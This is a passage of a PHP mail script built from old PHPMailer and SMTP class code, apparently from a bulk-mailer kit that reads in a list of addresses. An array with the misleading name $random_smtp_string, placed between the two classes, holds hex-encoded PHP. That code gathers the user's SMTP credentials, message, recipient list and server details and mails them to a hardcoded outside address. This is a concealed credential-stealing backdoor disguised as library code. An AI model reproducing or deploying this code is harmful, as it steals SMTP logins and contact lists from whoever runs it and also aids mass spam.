fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SAML not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in or mail it to them if they are not.
*
* Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function SendOrMail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called SendOrMail() without being connected");
return false;
}
fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SOML not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* This is an optional command for SMTP that this class does not
* support. This method is here to make the RFC821 Definition
* complete for this class and __may__ be implimented in the future
*
* Implements from rfc 821: TURN <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 502
* SMTP CODE ERROR : 500, 503
* @access public
* @return bool
*/
function Turn() {
$this->error = array("error" => "This method, TURN, of the SMTP ".
"is not implemented");
if($this->do_debug >= 1) {
echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
}
return false;
}
/**
* Verifies that the name is recognized by the server.
* Returns false if the name could not be verified otherwise
* the response from the server is returned.
*
* Implements rfc 821: VRFY <SP> <string> <CRLF>
*
* SMTP CODE SUCCESS: 250,251
* SMTP CODE FAILURE: 550,551,553
* SMTP CODE ERROR : 500,501,502,421
* @access public
* @return int
*/
function Verify($name) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Verify() without being connected");
return false;
}
fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250 && $code != 251) {
$this->error =
array("error" => "VRFY failed on name '$name'",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return $rply;
}
/*******************************************************************
* INTERNAL FUNCTIONS *
******************************************************************/
/**
* Read in as many lines as possible
* either before eof or socket timeout occurs on the operation.
* With SMTP we can tell if we have more lines to read if the
* 4th character is '-' symbol. If it is a space then we don't
* need to read anything else.
* @access private
* @return string
*/
function get_lines() {
$data = "";
while($str = @fgets($this->smtp_conn,515)) {
if($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data was \"$data\"" .
$this->CRLF;
echo "SMTP -> get_lines(): \$str is \"$str\"" .
$this->CRLF;
}
$data .= $str;
if($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
}
# if the 4th character is a space then we are done reading
# so just break the loop
if(substr($str,3,1) == " ") { break; }
}
return $data;
}
}
$allemails = split("
", $emaillist);
$numemails = count($allemails);
$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
class PHPMailer {
/////////////////////////////////////////////////
// PROPERTIES, PUBLIC
/////////////////////////////////////////////////
/**
* Email priority (1 = High, 3 = Normal, 5 = low).
* @var int
*/
var $Priority = 3;
/**
* Sets the CharSet of the message.
* @var string
*/
var $CharSet = 'iso-8859-1';
/**
* Sets the Content-type of the message.
* @var string
*/
var $ContentType = 'text/plain';
/**
* Sets the Encoding of the message. Options for this are "8bit",
* "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
var $Encoding = '8bit';
/**
* Holds the most recent mailer error message.
* @var string
*/
var $ErrorInfo = '';
/**
* Sets the From email address for the message.
* @var string
*/
var $From = '';
/**
* Sets the From name of the message.
* @var string
*/
var $FromName = '';
/**
* Sets the Sender email (Return-Path) of the message. If not empty,
* will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
* @var string
*/
var $Sender = '';
/**
* Sets the Subject of the message.
* @var string
*/
var $Subject = '';
/**
* Sets the Body of the message. This can be either an HTML or text body.
* If HTML then run IsHTML(true).
* @var string
*/
var $Body = '';
/**
* Sets the text-only body of the message. This automatically sets the
* email to multipart/alternative. This body can be read by mail
* clients that do not have HTML email capability such as mutt. Clients
* that can read HTML will view the normal Body.
* @var string
*/
var $AltBody = '';
/**
* Sets word wrapping on the body of the message to a given number of
* characters.
* @var int
*/
var $WordWrap = 0;
/**
* Method to send mail: ("mail", "sendmail", or "smtp").
* @var string
*/
var $Mailer = 'mail';
/**
* Sets the path of the sendmail program.
* @var string
*/
var $Sendmail = '/usr/sbin/sendmail';
/**
* Path to PHPMailer plugins. This is now only useful if the SMTP class
* is in a different directory than the PHP include path.
* @var string
*/
var $PluginDir = '';
/**
* Holds PHPMailer version.
* @var string
*/
var $Version = "";
/**
* Sets the email address that a reading confirmation will be sent.
* @var string
*/
var $ConfirmReadingTo = '';
/**
* Sets the hostname to use in Message-Id and Received headers
* and as default HELO string. If empty, the value returned
* by SERVER_NAME is used or 'localhost.localdomain'.
* @var string
*/
var $Hostname = '';
/**
* Sets the message ID to be used in the Message-Id header.
* If empty, a unique id will be generated.
* @var string
*/
var $MessageID = '';
/////////////////////////////////////////////////
// PROPERTIES FOR SMTP
/////////////////////////////////////////////////
/**
* Sets the SMTP hosts. All hosts must be separated by a
* semicolon. You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* Hosts will be tried in order.
* @var string
*/
var $Host = 'localhost';
/**
* Sets the default SMTP server port.
* @var int
*/
var $Port = 25;
/**
* Sets the SMTP HELO of the message (Default is $Hostname).
* @var string
*/
var $Helo = '';
/**
* Sets connection prefix.
* Options are "", "ssl" or "tls"
* @var string
*/
var $SMTPSecure = "";
/**
* Sets SMTP authentication. Utilizes the Username and Password variables.
* @var bool
*/
var $SMTPAuth = false;
/**
* Sets SMTP username.
* @var string
*/
var $Username = '';
/**
* Sets SMTP password.
* @var string
*/
var $Password = '';
/**
* Sets the SMTP server timeout in seconds. This function will not
* work with the win32 version.
* @var int
*/
var $Timeout = 10;
/**
* Sets SMTP class debugging on or off.
* @var bool
*/
var $SMTPDebug = false;
/**
* Prevents the SMTP connection from being closed after each mail
* sending. If this is set to true then to close the connection
* requires an explicit call to SmtpClose().
* @var bool
*/
var $SMTPKeepAlive = false;
/**
* Provides the ability to have the TO field process individual
* emails, instead of sending to entire TO addresses
* @var bool
*/
var $SingleTo = false;
/////////////////////////////////////////////////
// PROPERTIES, PRIVATE
/////////////////////////////////////////////////
var $smtp = NULL;
var $to = array();
var $cc = array();
var $bcc = array();
var $ReplyTo = array();
var $attachment = array();
var $CustomHeader = array();
var $message_type = '';
var $boundary = array();
var $language = array();
var $error_count = 0;
var $LE = "
";
var $sign_key_file = "";
var $sign_key_pass = "";
/////////////////////////////////////////////////
// METHODS, VARIABLES
/////////////////////////////////////////////////
/**
* Sets message type to HTML.
* @param bool $bool
* @return void
*/
function IsHTML($bool) {
if($bool == true) {
$this->ContentType = 'text/html';
} else {
$this->ContentType = 'text/plain';
}
}
/**
* Sets Mailer to send message using SMTP.
* @return void
*/
function IsSMTP() {
$this->Mailer = 'smtp';
}
/**
* Sets Mailer to send message using PHP mail() function.
* @return void
*/
function IsMail() {
$this->Mailer = 'mail';
}
/**
* Sets Mailer to send message using the $Sendmail program.
* @return void
*/
function IsSendmail() {
$this->Mailer = 'sendmail';
}
/**
* Sets Mailer to send message using the qmail MTA.
* @return void
*/
function IsQmail() {
$this->Sendmail = '/var/qmail/bin/sendmail';
$this->Mailer = 'sendmail';
}
/////////////////////////////////////////////////
// METHODS, RECIPIENTS
/////////////////////////////////////////////////
/**
* Adds a "To" address.
* @param string $address
* @param string $name
* @return void
*/
function AddAddress($address, $name = '') {
$cur = count($this->to);
$this->to[$cur][0] = trim($address);
$this->to[$cur][1] = $name;
}
/**
* Adds a "Cc" address. Note: this function works
* with the SMTP mailer on win32, not with the "mail"
* mailer.
* @param string $address
* @param string $name
* @return void
*/
function AddCC($address, $name = '') {
$cur = count($this->cc);
$this->cc[$cur][0] = trim($address);
$this->cc[$cur][1] = $name;
}
/**
* Adds a "Bcc" address. Note: this function works
* with the SMTP mailer on win32, not with the "mail"
* mailer.
* @param string $address
* @param string $name
* @return void
*/
function AddBCC($address, $name = '') {
$cur = count($this->bcc);
$this->bcc[$cur][0] = trim($address);
$this->bcc[$cur][1] = $name;
}
/**
* Adds a "Reply-To" address.
* @param string $address
* @param string $name
* @return void
*/
function AddReplyTo($address, $name = '') {
$cur = count($this->ReplyTo);
$this->ReplyTo[$cur][0] = trim($address);
$this->ReplyTo[$cur][1] = $name;
}
/////////////////////////////////////////////////
// METHODS, MAIL SENDING
/////////////////////////////////////////////////
/**
* Creates message and assigns Mailer. If the message is
* not sent successfully then it returns false. Use the ErrorInfo
* variable to view description of the error.
* @return bool
*/
function Send() {
$header = '';
$body = '';
$result = true;
if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
$this->SetError($this->Lang('provide_address'));
return false;
}
/* Set whether the message is multipart/alternative */
if(!empty($this->AltBody)) {
$this->ContentType = 'multipart/alternative';
}
$this->error_count = 0; // reset errors
$this->SetMessageType();
$header .= $this->CreateHeader();
$body = $this->CreateBody();
if($body == '') {
return false;
}
/* Choose the mailer */
switch($this->Mailer) {
case 'sendmail':
$result = $this->SendmailSend($header, $body);
break;
case 'smtp':
$result = $this->SmtpSend($header, $body);
break;
case 'mail':
$result = $this->MailSend($header, $body);
break;
default:
$result = $this->MailSend($header, $body);
break;
//$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
//$result = false;
//break;
}
return $result;
}
/**
* Sends mail using the $Sendmail program.
* @access private
* @return bool
*/
function SendmailSend($header, $body) {
if ($this->Sender != '') {
$sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
} else {
$sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
}
if(!@$mail = popen($sendmail, 'w')) {
$this->SetError($this->Lang('execute') . $this->Sendmail);
return false;
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
if (version_compare(phpversion(), '4.2.3') == -1) {
$result = $result >> 8 & 0xFF;
}
if($result != 0) {
$this->SetError($this->Lang('execute') . $this->Sendmail);
return false;
}
return true;
}
/**
* Sends mail using the PHP mail() function.
* @access private
* @return bool
*/
function MailSend($header, $body) {
$to = '';
for($i = 0; $i < count($this->to); $i++) {
if($i != 0) { $to .= ', '; }
$to .= $this->AddrFormat($this->to[$i]);
}
$toArr = split(',', $to);
$params = sprintf("-oi -f %s", $this->Sender);
if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $key => $val) {
$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $key => $val) {
$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
}
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if(!$rt) {
$this->SetError($this->Lang('instantiate'));
return false;
}
return true;
}
/**
* Sends mail via SMTP using PhpSMTP (Author:
* Chris Ryan). Returns bool. Returns false if there is a
* bad MAIL FROM, RCPT, or DATA input.
* @access private
* @return bool
*/
function SmtpSend($header, $body) {
$error = '';
$bad_rcpt = array();
if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
return false;
}
$smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
if(!$this->smtp->Mail($smtp_from)) {
$error = $this->Lang('from_failed') . $smtp_from;
$this->SetError($error);
$this->smtp->Reset();
return false;
}
/* Attempt to send attach all recipients */
for($i = 0; $i < count($this->to); $i++) {
if(!$this->smtp->Recipient($this->to[$i][0])) {
$bad_rcpt[] = $this->to[$i][0];
}
}
for($i = 0; $i < count($this->cc); $i++) {
if(!$this->smtp->Recipient($this->cc[$i][0])) {
$bad_rcpt[] = $this->cc[$i][0];
}
}
for($i = 0; $i < count($this->bcc); $i++) {
if(!$this->smtp->Recipient($this->bcc[$i][0])) {
$bad_rcpt[] = $this->bcc[$i][0];
}
}
if(count($bad_rcpt) > 0) { // Create error message
for($i = 0; $i < count($bad_rcpt); $i++) {
if($i != 0) {
$error .= ', ';
}
$error .= $bad_rcpt[$i];
}
$error = $this->Lang('recipients_failed') . $error;
$this->SetError($error);
$this->smtp->Reset();
return false;
}
if(!$this->smtp->Data($header . $body)) {
$this->SetError($this->Lang('data_not_accepted'));
$this->smtp->Reset();
return false;
}
if($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
} else {
$this->SmtpClose();
}
return true;
}
/**
* Initiates a connection to an SMTP server. Returns false if the
* operation failed.
* @access private
* @return bool
*/
function SmtpConnect() {
if($this->smtp == NULL) {
$this->smtp = new SMTP();
}
$this->smtp->do_debug = $this->SMTPDebug;
$hosts = explode(';', $this->Host);
$index = 0;
$connection = ($this->smtp->Connected());
/* Retry while there is no connection */
while($index < count($hosts) && $connection == false) {
$hostinfo = array();
if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
$host = $hostinfo[1];
$port = $hostinfo[2];
} else {
$host = $hosts[$index];
$port = $this->Port;
}
if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
if ($this->Helo != '') {
$this->smtp->Hello($this->Helo);
} else {
$this->smtp->Hello($this->ServerHostname());
}
$connection = true;
if($this->SMTPAuth) {
if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
$this->SetError($this->Lang('authenticate'));
$this->smtp->Reset();
$connection = false;
}
}
}
$index++;
}
if(!$connection) {
$this->SetError($this->Lang('connect_host'));
}
return $connection;
}
/**
* Closes the active SMTP session if one exists.
* @return void
*/
function SmtpClose() {
if($this->smtp != NULL) {
if($this->smtp->Connected()) {
$this->smtp->Quit();
$this->smtp->Close();
}
}
}
/**
* Sets the language for all class error messages. Returns false
* if it cannot load the language file. The default language type
* is English.
* @param string $lang_type Type of language (e.g. Portuguese: "br")
* @param string $lang_path Path to the language file directory
* @access public
* @return bool
*/
function SetLanguage($lang_type, $lang_path = 'language/') {
if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
} elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
include($lang_path.'phpmailer.lang-en.php');
} else {
$this->SetError('Could not load language file');
return false;
}
$this->language = $PHPMAILER_LANG;
return true;
}
/////////////////////////////////////////////////
// METHODS, MESSAGE CREATION
/////////////////////////////////////////////////
/**
* Creates recipient headers.
* @access private
* @return string
*/
function AddrAppend($type, $addr) {
$addr_str = $type . ': ';
$addr_str .= $this->AddrFormat($addr[0]);
if(count($addr) > 1) {
for($i = 1; $i < count($addr); $i++) {
$addr_str .= ', ' . $this->AddrFormat($addr[$i]);
}
}
$addr_str .= $this->LE;
return $addr_str;
}
/**
* Formats an address correctly.
* @access private
* @return string
*/
function AddrFormat($addr) {
if(empty($addr[1])) {
$formatted = $this->SecureHeader($addr[0]);
} else {
$formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
}
return $formatted;
}
/**
* Wraps message for use with mailers that do not
* automatically perform wrapping and for quoted-printable.
* Original written by philippe.
* @access private
* @return string
*/
function WrapText($message, $length, $qp_mode = false) {
$soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
// If utf-8 encoding is used, we will need to make sure we don't
// split multibyte characters when we wrap
$is_utf8 = (strtolower($this->CharSet) == "utf-8");
$message = $this->FixEOL($message);
if (substr($message, -1) == $this->LE) {
$message = substr($message, 0, -1);
}
$line = explode($this->LE, $message);
$message = '';
for ($i=0 ;$i < count($line); $i++) {
$line_part = explode(' ', $line[$i]);
$buf = '';
for ($e = 0; $e<count($line_part); $e++) {
$word = $line_part[$e];
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - 1;
if ($e != 0) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf("=%s", $this->LE);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
$len = $length;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf("=%s", $this->LE);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
$buf .= ($e == 0) ? $word : (' ' . $word);
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
}
$message .= $buf . $this->LE;
}
return $message;
}
/**
* Finds last character boundary prior to maxLength in a utf-8
* quoted (printable) encoded string.
* Original written by Colin Brown.
* @access private
* @param string $encodedText utf-8 QP text
* @param int $maxLength find last character boundary prior to this length
* @return int
*/
function UTF8CharBoundary($encodedText, $maxLength) {
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, "=");
if ($encodedCharPos !== false) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) { // Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
$maxLength = ($encodedCharPos == 0) ? $maxLength :
$maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec >= 192) { // First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Set the body wrapping.
* @access private
* @return void
*/
function SetWordWrap() {
if($this->WordWrap < 1) {
return;
}
switch($this->message_type) {
case 'alt':
/* fall through */
case 'alt_attachments':
$this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->WrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assembles message header.
* @access private
* @return string
*/
function CreateHeader() {
$result = '';
/* Set the boundaries */
$uniq_id = md5(uniqid(time()));
$this->boundary[1] = 'b1_' . $uniq_id;
$this->boundary[2] = 'b2_' . $uniq_id;
$result .= $this->HeaderLine('Date', $this->RFCDate());
if($this->Sender == '') {
$result .= $this->HeaderLine('Return-Path', trim($this->From));
} else {
$result .= $this->HeaderLine('Return-Path', trim($this->Sender));
}
/* To be created automatically by mail() */
if($this->Mailer != 'mail') {
if(count($this->to) > 0) {
$result .= $this->AddrAppend('To', $this->to);
} elseif (count($this->cc) == 0) {
$result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
}
if(count($this->cc) > 0) {
$result .= $this->AddrAppend('Cc', $this->cc);
}
}
$from = array();
$from[0][0] = trim($this->From);
$from[0][1] = $this->FromName;
$result .= $this->AddrAppend('From', $from);
/* sendmail and mail() extract Cc from the header before sending */
if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
$result .= $this->AddrAppend('Cc', $this->cc);
}
/* sendmail and mail() extract Bcc from the header before sending */
if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
$result .= $this->AddrAppend('Bcc', $this->bcc);
}
if(count($this->ReplyTo) > 0) {
$result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
}
/* mail() sets the subject itself */
if($this->Mailer != 'mail') {
$result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
}
if($this->MessageID != '') {
$result .= $this->HeaderLine('Message-ID',$this->MessageID);
} else {
$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
}
$result .= $this->HeaderLine('X-Priority', $this->Priority);
$result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
if($this->ConfirmReadingTo != '') {
$result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
}
// Add custom headers
for($index = 0; $index < count($this->CustomHeader); $index++) {
$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
}
if (!$this->sign_key_file) {
$result .= $this->HeaderLine('MIME-Version', '1.0');
$result .= $this->GetMailMIME();
}
return $result;
}
/**
* Returns the message MIME.
* @access private
* @return string
*/
function GetMailMIME() {
$result = '';
switch($this->message_type) {
case 'plain':
$result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
$result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
break;
case 'attachments':
/* fall through */
case 'alt_attachments':
if($this->InlineImageExists()){
$result .= sprintf("Content-Type: %s;%s type=\"text/html\";%s boundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
} else {
$result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1] . '"');
}
break;
case 'alt':
$result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1] . '"');
break;
}
if($this->Mailer != 'mail') {
$result .= $this->LE.$this->LE;
}
return $result;
}
/**
* Assembles the message body. Returns an empty string on failure.
* @access private
* @return string
*/
function CreateBody() {
$result = '';
if ($this->sign_key_file) {
$result .= $this->GetMailMIME();
}
$this->SetWordWrap();
switch($this->message_type) {
case 'alt':
$result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
$result .= $this->EncodeString($this->AltBody, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->EndBoundary($this->boundary[1]);
break;
case 'plain':
$result .= $this->EncodeString($this->Body, $this->Encoding);
break;
case 'attachments':
$result .= $this->GetBoundary($this->boundary[1], '', '', '');
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE;
$result .= $this->AttachAll();
break;
case 'alt_attachments':
$result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
$result .= sprintf("Content-Type: %s;%s" . " boundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
$result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
$result .= $this->EncodeString($this->AltBody, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->EndBoundary($this->boundary[2]);
$result .= $this->AttachAll();
break;
}
if($this->IsError()) {
$result = '';
} else if ($this->sign_key_file) {
$file = tempnam("", "mail");
$fp = fopen($file, "w");
fwrite($fp, $result);
fclose($fp);
$signed = tempnam("", "signed");
if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
$fp = fopen($signed, "r");
$result = fread($fp, filesize($this->sign_key_file));
fclose($fp);
} else {
$this->SetError($this->Lang("signing").openssl_error_string());
$result = '';
}
unlink($file);
unlink($signed);
}
return $result;
}
/**
* Returns the start of a message boundary.
* @access private
*/
function GetBoundary($boundary, $charSet, $contentType, $encoding) {
$result = '';
if($charSet == '') {
$charSet = $this->CharSet;
}
if($contentType == '') {
$contentType = $this->ContentType;
}
if($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->TextLine('--' . $boundary);
$result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
$result .= $this->LE;
$result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
$result .= $this->LE;
return $result;
}
/**
* Returns the end of a message boundary.
* @access private
*/
function EndBoundary($boundary) {
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
/**
* Sets the message type.
* @access private
* @return void
*/
function SetMessageType() {
if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
$this->message_type = 'plain';
} else {
if(count($this->attachment) > 0) {
$this->message_type = 'attachments';
}
if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
$this->message_type = 'alt';
}
if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
$this->message_type = 'alt_attachments';
}
}
}
/* Returns a formatted header line.
* @access private
* @return string
*/
function HeaderLine($name, $value) {
return $name . ': ' . $value . $this->LE;
}
/**
* Returns a formatted mail line.
* @access private
* @return string
*/
function TextLine($value) {
return $value . $this->LE;
}
/////////////////////////////////////////////////
// CLASS METHODS, ATTACHMENTS
/////////////////////////////////////////////////
/**
* Adds an attachment from a path on the filesystem.
* Returns false if the file could not be found
* or accessed.
* @param string $path Path to the attachment.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return bool
*/
function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
if(!@is_file($path)) {
$this->SetError($this->Lang('file_access') . $path);
return false;
}
$filename = basename($path);
if($name == '') {
$name = $filename;
}
$cur = count($this->attachment);
$this->attachment[$cur][0] = $path;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $name;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = false; // isStringAttachment
$this->attachment[$cur][6] = 'attachment';
$this->attachment[$cur][7] = 0;
return true;
}
/**
* Attaches all fs, string, and binary attachments to the message.
* Returns an empty string on failure.
* @access private
* @return string
*/
function AttachAll() {
/* Return text of body */
$mime = array();
/* Add all attachments */
for($i = 0; $i < count($this->attachment); $i++) {
/* Check for string attachment */
$bString = $this->attachment[$i][5];
if ($bString) {
$string = $this->attachment[$i][0];
} else {
$path = $this->attachment[$i][0];
